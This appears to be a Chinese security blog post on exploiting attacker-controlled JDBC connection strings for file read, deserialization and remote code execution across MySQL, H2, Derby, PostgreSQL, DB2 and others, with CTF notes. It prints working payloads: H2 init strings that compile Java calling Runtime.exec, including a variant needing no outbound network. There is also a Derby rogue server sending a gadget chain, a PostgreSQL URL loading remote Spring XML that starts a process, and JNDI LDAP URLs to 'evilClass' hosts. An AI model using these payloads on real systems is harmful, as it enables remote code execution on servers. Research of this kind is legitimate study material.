0%

JDBC attack

JDBC attack

针对JDBC的攻击,基本上依赖于用户可控的JDBC连接。而针对如何发起一个可控的JDBC连接则可以从多个角度入手

首先看一下连接可控的情况下有哪些利用

Make JDBC attack brilliant again

推荐阅读该议题

针对环境中存在的不同sql driver,有不同的利用

mysql

mysql的利用比较经典,首先是mysql连接可控时的通用利用,allowLoadLocalInfile导致的任意文件读。需要攻击者搭建rogue mysql server,因此需要出网
在添加allowUrlInLocalInfile选项后还可以进行ssrf,使用file协议枚举目录,或是发送get前期

除此之外,Java环境下rogue mysql server还可以返回序列化数据,强制客户端进行反序列化,即一个二次反序列化漏洞。
在大于该版本的mysql driver中反序列化被修复

= 8.0.20, >= 5.1.49

rogue server工具
https://github.com/rmb122/rogue_mysql_server

h2

这个driver是所有driver里面最好打的一个,提供了多种rce方式甚至是不出网rce
根据不同的依赖,有不同的rce打法。

java

这个利用需要存在javac(javac应该是jdk环境?jre是没有javac的)所以有的纯部署的情况下还真用不了,没有javac的情况下无法使用CREATE ALIAS语句

网传的payload是需要出网的,但是我这边发现不出网也行
网传的jdbc连接串如下

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

init只允许一条sql语句,而想要rce就得使用多条语句,因此需要从外部引入一个sql文件包含多个语句

poc.sql如下

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('calc.exe')

但是这篇文章里面提到能执行多条,把分号转义了就行
https://xz.aliyun.com/t/14044

不过上述文章是把多个其他语句用分号拼接并转义。而上述命令执行的语句中本身Java代码也带分号,理论上来说这里加一个转义语法应该不通过。但是我试着把这个分号也转义了一下,居然通了,难以置信。。。?

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')

单个这条语句也能弹计算器,意味着不出网情况也能利用

JavaScript

朴实无华的不出网rce,需注意在jdk15之后因为Nashorn JavaScript 引擎被删了,因此在jdk15之后无法利用

连接串为url

String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")\n";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$"+ javascript +"$$\n";

groovy

和JavaScript一样挺朴实无华的,需要额外引入了groovy的依赖

    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";

Apache Derby

也没用过,可以使用rogue server进行原生反序列化

jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip

rogue server code

public class EvilSlaveServer {
    public static void main(String[] args) throws Exception {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("open -a Calculator")));
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}

Postgresql

出网RCE,影响范围

9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2

jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:2333/test.xml

xml内容如下

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>open</value>
                <value>-a</value>
                <value>Calculator</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

Teradata

出网RCE,需要搭建恶意服务,具体见如下代码
https://github.com/luelueking/Deserial_Sink_With_JDBC/tree/main/src/main/java/teradata

一些JNDI注入

JNDI注入的用处不是很大,后文会提到,常见的触发一个可控的jdbc连接的场景就是jndi注入

IBM DB2

jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;

ModeShape

jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass

触发

jndi

先讲jndi,所以这里面有很多能再次触发jndi注入的driver实际上是没什么用的

众所周知,在jdk较高版本下,reference直接引用类一键rce是不能用的,为此就有两种变体利用。一种是返回一个反序列化数据攻击本地链,即jndi变为原生反序列化。另一种则是利用本地的factory类,通过其getObjectInstance方法寻求突破

为人熟知的factory类是tomcat下的org.apache.naming.factory.BeanFactory,其最终调用的forceString方法可以调用任意一个以一个字符串为入参的成员方法,搭配经典EL表达式完成rce

然而,tomcat在高版本(8.5.79)中同样修复了该问题,使其无法利用

所以这里提出几个和jdbc相关的factory

dbcp

dbcp分为dbcp和dbcp-common,其各还有1和2两个版本
dbcp的BasicDataSourceFactory,其getObjectInstance最终会调用getConnectoin,然后依赖于上述driver实现后续利用

tomcat-jdbc

tomcat-jdbc的DataSourceFactory也同上

druid

以及druid的DruidDataSourceFactory

fastjson,jackson

可以看到,最终的链接触发是通过getConnection方法,也就是一个getter,因此fastjson等触发getter的利用在一定程度上也可以使用

反序列化

getter的触发,除了fastjson,common beanutil和pojonode等也都能够触发getter,也为原生反序列化的利用提供了帮助。

不过,触发getter的原生反序列化利用,在jdk8下可以直接走TemplatesImpl的利用,没有太大的意义。然而,事情在jdk9及以上却有另外的问题。jdk9引入了模块化之后,TemplatesImpl这些内部类都被封装到了模块内部,不对外导出,使得无法正常利用。

因此,通过反序列化触发jdbc连接成为了新的利用手段

这里有一个可能,反序列化中有一个经典的JdbcRowSetImpl可以制造一个jndi注入,然后再走之前提到的jndi factory就能完成利用,遗憾的是,在jdk的高版本中,这个类也被认作是一个内部类隐藏了起来,所以这个利用也是无法完成的。

为此可以通过反序列化不同的DataSource类型对象,以触发一个用户可控的jdbc连接,可用的sink类可以参照如下链接
https://github.com/luelueking/Deserial_Sink_With_JDBC

如c3p0的ComboPooledDataSource和dbcp的SharedPoolDataSource

不过c3p0可以直接用连接串走h2之类的rce,而dbcp则只能再触发一次jndi注入再利用之前提到的dbcp jndi注入走h2 rce

CTF题目

在我学这个内容的时候,刚好连着在ctf里面出现了两个这个方向相关的题,哈哈
第一个是天枢办的xctf的一道原生jdk17 jdbc反序列化,另一个是阿里云ctf中的jdk17 hessian反序列化,刚学完就出了这两个题,考点感觉也就是上述内容,可惜,不打ctf

pal

帕鲁的一个什么题,因为没参赛不知道名字。一个jdk17下带奇怪的db driver无额外依赖的springboot原生反序列化。Teradata,在这个链接里面写了getter RCE的办法,还有配套脚本
Deserial_Sink_With_JDBC

核心思路就是经典spring boot原生反序列化用pojonode去触发getter,也可以套一层proxy减少属性,不过本地测试的时候发现顶级父类同样有两个属性,也就是两个getter,这个利用仍然存在运气问题,出题人应该是反复重启了服务使得这个题能通的。

还有一个比较玄学的地方,就是用来触发pojonode的toString方法的XString,在jdk17下是不公开的,所以在生成payload的时候就需要手动add open/add export,但是我把payload的生成和反序列化分开,发现反序列化的时候XString没有export也无所谓,一样可以成功反序列化,难以理解Java的module到底是给什么规则捏

chain17

这个题我连附件都没看,哈哈,就找到一个极其简陋的wm的wp
wp
hessian的反序列化和原生的不一样,印象里是可以序列化没有继承serializable的类,但是不能反序列化没有public构造方法的类。

这个题用的hessian触发PojoNode的toString,然后PojoNode触发自己提供的bean的getter方法去触发factory的getDataSource,得到一个可控的jdbc连接,然后h2一键rce。暂时没有理解为什么不直接pojonode直接触发,意思是这里专门调了顺序套proxy也不能通?
这里使用的h2一键rce还是用的出网版本(如果把我那个奇怪的发现带上是不是就可以不出网也能用了?)

参考链接

https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/
https://tttang.com/archive/1405/
https://github.com/luelueking/Deserial_Sink_With_JDBC
https://xz.aliyun.com/t/14044
https://su18.org/post/jdbc-connection-url-attack